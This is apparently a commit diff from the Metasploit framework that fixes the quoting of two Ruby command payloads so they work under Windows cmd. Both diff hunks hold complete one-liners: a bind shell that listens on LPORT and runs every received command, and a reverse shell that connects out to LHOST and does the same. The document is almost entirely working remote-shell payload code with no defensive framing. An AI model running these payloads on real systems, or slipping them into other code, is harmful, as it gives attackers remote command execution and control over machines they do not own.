fix cmd windows ruby payloads
parent
4595a96ece
commit
26f561795d
|
@ -40,6 +40,6 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def command_string
|
||||
"ruby -rsocket -e 's=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end'"
|
||||
"ruby -rsocket -e \"s=TCPServer.new(\\\"#{datastore['LPORT']}\\\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end;end\""
|
||||
end
|
||||
end
|
||||
|
|
|
@ -40,6 +40,6 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def command_string
|
||||
"ruby -rsocket -e 'c=TCPSocket.new(\"#{datastore['LHOST']}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
|
||||
"ruby -rsocket -e \"c=TCPSocket.new(\\\"#{datastore['LHOST']}\\\",\\\"#{datastore['LPORT']}\\\");while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end\""
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue